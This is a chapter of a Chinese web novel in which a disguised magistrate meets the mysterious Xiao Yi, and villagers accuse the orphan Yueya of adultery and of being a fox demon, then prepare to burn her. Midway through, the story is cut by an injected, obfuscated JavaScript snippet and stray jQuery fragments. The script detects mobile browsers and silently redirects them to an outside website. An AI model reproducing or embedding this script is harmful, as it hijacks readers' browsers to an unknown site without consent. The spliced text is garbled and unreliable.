27. 荒诞

作品:《尾巴可以摸摸吗?

    夜阑无星,灰蒙蒙的天幕下,远处起伏的山峦轮廓时断时续。


    不知何时下起了小雨,空气中开始弥漫着一股混合草木酸涩的土腥味。


    忽然,马蹄踏破泥泞的“嗒嗒”声响从乡道的尽头,由远及近,有节奏地传入尹怀章主仆耳中。


    “大人!有人来了。”


    尹怀章掀起车帘望去,黑夜里,一人头戴斗笠,身骑红马,似把利剑,闯人雨帘之中。


    未等来神秘的方姑娘,倒遇见了一个同样围绕着神秘气息的男子。


    只见那人勒住缰绳的双臂卷起半截衣袖,显露出劲瘦有力的体格,挺直的背部与紧贴马腹的双腿,在起伏间未见丝毫抖动颠簸,可知御马之术十分娴熟。


    他很快在车前勒马停下,宽大的斗笠压得很低,虽未能看清面容,但尹怀章的心底在这一刻忽然涌现出一种说不清道不明的直觉。


    那字里行间透出的沉着、孤傲与洞悉一切,同面前这道挺拔的身影渐渐重叠。


    只是他似乎未有空闲理会旁人,翻身下马,直入小院,熟门熟路,显然是与住在这家的那位方姑娘是彼此相识的。


    但他搜寻一圈之后,发觉家中无人,再出门的步伐就显得有些慌乱了。


    “先生留步!”眼看着他要再上马,尹怀章连忙出声阻拦。


    “先生好笔力,一纸状书,字字如刀,切中要害,又未言实,虽是有意收敛锋芒,却仍势如千军,我自读来,只觉胸中块垒渐沉,肩头重担陡增,可谓,一纸可抵三千虎贲。”


    雨丝斜斜地飘飞,那人终于抬眸正视,露出斗笠下一双闪烁着幽幽暗芒的黑眸。


    至此,两男就这样在一条寂静无人的乡道上彼此视线交锋。


    尹怀章暗白赞叹此人好一双锐利清明的眼晴时,萧已同样也在打量着他。


    本是执掌地方的知州大人此刻一身布衫,粗朴无华、随从一人,毫不起眼,有意乔装之下,旁人一时也难以觉察其身份。


    只是那世家出身的底蕴气质岂是能轻易掩盖得住的?


    萧已看一眼他陷入泥泞中的靴底,随从虽然早已撑伞,但细密的雨丝仍沾湿了他的发与肩头。


    心下了然,这也不是那等只图享乐,吃不得苦的公子哥儿。


    他道:“尹大人不辞辛劳,深夜冒雨,亲涉这泥泞乡野,总不会是只为了来赞我文章出彩的吧。”


    萧已准确道出他的姓氏,尹怀章并不惊讶,聪明人之间自有一套看人的标准,正如他从未与萧已有过交谈接触,但也能仅凭一眼确认萧已并非俗子。


    他目光深深地盯着萧已,坚定的嗓音在淅沥的雨声中亦十分清晰:“为寻一人敢以笔为剑,剖开这层迷雾,为寻一人敢以匹夫之肩,担起这郎朗青天,我甘之如饴,何言辛劳?”


    萧已心中一震,好个敢作敢为的清官,真不愧是尹公之后。


    只是:“大人太抬举我了,铲除奸佞,维护百姓安宁,全赖大人明察秋毫,我不过是一个乡野村夫罢了。”


    他的确不会对私铸银之事袖手旁观,但在没有能保障月芽与自身绝对安全的前提下,他不会仅凭一腔孤勇就贸然出头。


    若尹怀章是那等朝廷蠹虫,看过信后,想要包庇污吏,消灭举报之人,那他岂不是陷月芽于险境?所以密信之中未将情况言实,也不曾透露身份也是为此。


    尹怀章本心潮澎湃,没有料到他会突然拒绝自己,眼中露出急切与不解,拾手指向那隐藏在密雨乌云之中的碧云山,音量拔高。


    “怎么?先生不敢与我共赴此山?能写下那样有力的字句,却无胆量为民除害,挺身而出吗?可是怕以民告官,先杖三十的刑罚?”


    萧已牵唇一笑,利落地踩镫上马,从容道:“有更好的方法可以不用对簿公堂就让奸邪自露马脚,我何须不顾自身安危铤而走险?”


    尹怀章追问:“什么方法?先生细说。”


    萧已自然不介意同他细说,只是此刻不行。


    月芽久久不归,他难免担忧,方才于陈府门外等候不见,只听守门小厮说她早已离去,他就已经觉得可疑,眼下见她实未归家,他心中更是不安。


    萧已微一领首,语速极快:“我有要事在身,耽误不得,改日定与大人详谈。”


    话毕,牵动缰绳,调转马头,只是他才策马飞去,从旁边的小路里冲出来一个小小身影,雨里滚着泥巴团的狗崽儿似的扑到他马前。


    萧已赶紧收紧缰绳,马儿吼叫一声,双蹄凌空腾跃,受主人双腿夹制才又乖乖落地,没有伤到别人。


    那泥巴团儿掀开盖在头上挡雨的衣衫,露出一张稚嫩的小脸和瞩目的冲天鸡毛辫。


    萧已看清后人脸后,立即拧眉沉声:“金宝?”


    金宝大口大口地喘着气,一手指着远处的方向,一手抹开溅到嘴边的泥巴,焦急大喊:“阿、阿已哥哥快去救月芽姐姐!她被伯伯婶婶们抓去柯堂了,他们要打月芽姐姐、他啊——”


    金宝话音未落,一声尖叫,被萧已拎住后领一把提起,天旋地转地坐到了马背上。


    还未来得及看清楚离地面到底有多高,萧已便御马飞驰而去。


    金宝也是扎扎实实地体验了一回连她结实的冲天鸡毛辫都能被疾风压弯的可怕速度。


    —


    祠堂里的空气粘稠浑浊,混杂着劣质的油灯烟气冲鼻呛人,人群里闷热的汗味凝聚不散,还有一股更浓烈的、近乎凝成实质的恶意。


    “好个不要脸的,竟敢与外男私通,我们去时这几人正在玉米地里大汗淋漓呢,真是污了村子的风气!”


    “可不是,她个有娘生没娘养的,不过是山里捡来的野种,方大夫也是糊涂啊,将她检回来养着,就这样被她败坏了名声!”


    “方大夫死后她霸占了人家的房子这么些年也是够不要脸的,我看早该把她赶出村子!”


    “就是、就是……”


    月芽被绑在祠堂外围的廊柱上,双手交叠捆在身后动弹不得,口中塞住臭烘烘的抹布也不能出声为自己分辨。


    每挣扎一下,身上勒紧的粗麻绳就箍得人生疼,她手腕的皮肤纤细娇嫩,早已被磨破了皮肉,血珠混着冷汗,沿着廊柱蜿蜒流下。


    跳跃的油灯火焰里,映照着面前一张张往日里熟悉的村民面庞,他们或朴实、或憨厚、或纯善,纵使对月芽有些非议也只是三三两两地在背后闲话。


    可今日,他们聚集在一起,哄闹而上,就变成了阎王手底下一群丑恶的小鬼,一个一个恨不得把眼刀口剑变成实质,往她身上扎去。


    月芽心里又气又委屈,他们骂自己也就罢了,为什么要连医女娘亲也一起骂?


    医女娘亲又做错了什么?


    她在生时,为这村子里的人医病疗伤,许多时候,念村民们家贫无钱,甚至都不收他们的诊费,还时常不辞辛劳地到山里采药,制成清热解毒、或强身健体的药丸分给他们食用,到头来,他们却这样辱骂一个对他们有过恩惠的已故之人!


    月芽不忿地瞪着他们,村民们见她还想反抗,更是着了魔似的扯着嗓门来讨伐她。


    “大家安静!”


    一道沉闷的男声压住了祠堂内的嘈杂,林守仁从后堂现身,身旁跟着的是他的女儿林巧娘。


    林巧娘的母亲近日感染了风寒,一病不起,她伤心焦急,好不容易得到婆母王氏允准回家一趟,照顾母亲,不成想就遇到了这村子里有人私通的丑事。


    她已嫁做人妇,还顶着知县儿媳的头衔,自然有资格凑这热闹,只是当她看见被绑在廊柱上的月芽时,眼中除了闪过惊讶,还有掩藏在底下的鄙夷。


    月芽没有注意到她眼中的怪异,只想着巧娘同自己一向亲近,她必然相信自己是无率的,眼中一亮,向她投去满满希冀的目光。


    可不管月芽如何用眼神求救,林巧娘都漠然得如同不认识了一般,对月芽视而不见。


    月芽心口一刺,受伤地垂下了眼睫。


    她总记着往日情谊,当巧娘是最好的姐妹,但其实巧娘早就不把她看在眼里了。


    她做了高高在上的知县儿媳,曾于闺中作伴的孤女月芽便成了她旧日的污点。


    “村长,这小蹄子与人通奸,按照村规,应该把她沉塘!”


    “我看还要扒光了农服游街示众,好给这些人知道不要脸的下场!”


    村民们又要七嘴八否地闹起来,林守仁大喊一声肃静,站到供桌前,端的一副公正无私的面孔,他身后,层层高列,堆叠成山的祖宗排位仿佛就是为他所倚仗的真理。


    “与她私通的奸夫何在?”


    村民们挤开一条通道,祠堂另一边的廊柱下捆着五个同样被堵住口的男子。


    他们有的衣衫凌乱,有的直接赤膊袒胸,一个个都大汗淋漓喘着粗气,看着倒真像是那么回事。


    众人皆啐口唾骂,唯有林巧娘在看清那所谓奸夫之后,心中猛地一沉。


    “二少奶奶不必伤心,二少爷体恤您思母心切,已经亲自向太太求情,让您归家几日了。”


    “是吗?果然夫君心里还是有我的……”


    “那是自然,二少爷连车马都替您安排好了就在府外等候,少奶奶请即刻出发吧!”


    “倒也不必如此着急,我总要先去向婆母请安……”


    “哎呦!太太一向不喜您亲近娘家,二少爷好容易求来的机会,您就不怕又惹太太不快?快走吧!”


    林巧娘想到今日急匆匆驱赶自己离府归家的丫鬟,又忆起陈表初见月芽时那垂诞三尺的眼神......


    这一刻,她才恍然大悟。


    什么体恤、什么关怀,分明是陈表有意将她支走,好没人看住他,方便去行苟且之事!


    这门房上的得禄一贯与陈表狼狈为奸,时常帮他溜出府去寻花问柳、又替他瞒着婆母公爹,这次还追到村子里来了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909358|176887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    村民们一直以为她嫁给知县家的少爷是去享荣华富贵的,可若是让他们知道她的夫君是这样的人,那她的辛苦维持的体面就都要丢尽了。


    村民们的恭维羡慕也会变成怜悯和鄙夷……


    林巧娘忽一抬眸,扶上其父手臂,缓缓吐出字句:“父亲,祖宗规矩不得违背,依女儿之见,男者宫刑,女者沉塘,铲除奸夫□□,清风正气,才是正理。”


    月芽不可置信地抬头,看着林巧娘冷漠的侧脸,这一刻浑身发寒,心已经沉到了塘底。


    “知县家的少奶奶都这样说了,村长,咱们今夜就把这几人处置了吧!”


    “是啊是啊……”


    林守仁看着众人迫切的目光,终于挥了挥手。


    村民们一哄而上,要提着月芽和那几个小厮去行刑,推搡间,得禄嘴上的巾子意外被人薅了下来,他立刻挣扎大呼:“不是私通!不是私通!二少奶奶救命!我们是被妖怪抓来的!她是妖怪!她是妖怪!”


    一声二少奶奶让众人停下了动作,面面相觑,最后纷纷将目光投向林巧娘的方向。


    而林巧娘则惨白了脸。


    得禄仍在语无伦次地大喊:“她是吃人的妖怪!她浑身长毛、有獠牙,她要吃人、我们是被抓来的、快杀了她……”


    “这是陈家的人啊……”


    “他说的什么妖怪?”


    鬼神之事素来隐秘,村民们互相窃窃私语。


    “是她!她是妖女!”忽有一道尖利的女声划破人群。


    一个瘦瘦高高的妇人挤到前面,手指直直地指着月芽:“不止一次!我见她总往后山里钻,跟一只油光水滑的黄皮子挨得可近!嘀嘀咕咕的,不知在说什么妖言鬼语,那黄皮子还会冲她作揖!”


    林三媳妇的话犹如平地一声惊雷炸乱了一众村民。


    “说起来我也见过!好像还有一个坐轮椅的男人,他们提着个麻袋往后山跑,不知道是去做什么的?”


    “黄皮子?那可是会附在人身上作乱的精怪!她能同黄皮子说话,她也定是妖怪!”


    “该不会咱们的碧水河被污染就是她在山上作怪引出的祸害吧?造孽哟!她个灾星妖孽,克死自己爹娘还不够,还要来祸害我们全村!”


    人群看不见之处,村长林守仁那张仿佛永远都端正严肃的脸上终于露出了一丝破裂,他扫过群情激愤的村民,最后将目光落在一个身形佝偻,手持拐棍的老妇人身上。


    “马婆子,你一向懂得请神通灵之术,你可能看出些什么?这丫头是否真是妖邪?”


    那被唤做马婆子的老妇人从人群中慢慢走出,直到月芽身前。


    她缓缓抬头,露出一张布满深壑皱纹的脸,她极瘦,两颊深凹,颧骨却异样地高耸,如同两座突兀的坟包。


    但最令月芽害怕的是她那双浑浊却泛着黄光的眼睛,彷佛蒙上了一层油腻,上下转动打量人时极为缓慢,带着一种令人毛骨悚然的黏滞感。


    众人都屏住呼吸要看她如何辨别妖邪,只见马婆子从挂在腰上的一个干瘪的布囊里抓出一把掺着香灰的糯米,掷在月芽脸上,嘴里神神叨叨地念着什么。


    月芽下意识地躲避,香灰冲入鼻息,难受得她涨红了脸,但被塞住嘴巴咳嗽不得,只能发出“唔唔”的声音。


    她身体里的那股力量又在叫嚣了,仿佛只要她一感到危险,他就会自动冲破封印,占据她的身体,为她征讨。


    可月芽死死地压制着,不能让他在此时占领自己的神智。


    她深知自己控制不住他的,一旦失控,这许多村民都可能性命难保,月芽虽恨他们不辨是非黑白,但血流成河也不是她想要见到的惨状。


    “邪!真邪!”马婆子睁着她那双凸出的眼珠子,枯瘦的手指几乎要戳到月芽脸上。


    村民们急切地追问:“马婆子,哪里邪?”


    “你们看她这双眼睛,狐媚惑人,再看她这张脸,妖娆艳冶,这分明,就是一只千年的狐妖!”马婆子举起双手,陡然高呼:“狐妖现世,灾星必降啊!”


    “哎呀!这可怎么办呐?”


    “咱们村子还有救吗?马婆子你可要帮帮我们啊!”


    马婆子抬手,示意众人安静,缓缓道:“狐妖法力高深,沉塘只会让她怨气积聚难消,化为厉鬼,唯有用火将她烧死,让她灰飞烟灭,不得再投胎重生,才能永绝后患!”


    “对,烧死她!”


    “烧死狐妖!以绝后患!”


    雨,不知何时已经停了,仿佛连天公都闭上了眼睛,不忍继续看这场荒诞的闹剧。


    湿漉漉的地面上堆起柴草,众人就在这祠堂前空旷的天井中筑起了焚妖台,他们群情激昂,高喊口号,眼中的狂热早已占据了人性该有的理智和对生命的敬畏。


    月芽悲悯又可笑地看着这群愚昧无知的村民。


    这一刻他们才是那一个个真正受鬼魅驱使、没有灵魂的躯壳。